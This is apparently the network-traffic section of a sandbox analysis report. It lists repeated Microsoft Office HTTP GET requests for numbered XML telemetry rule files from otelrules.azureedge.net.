Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
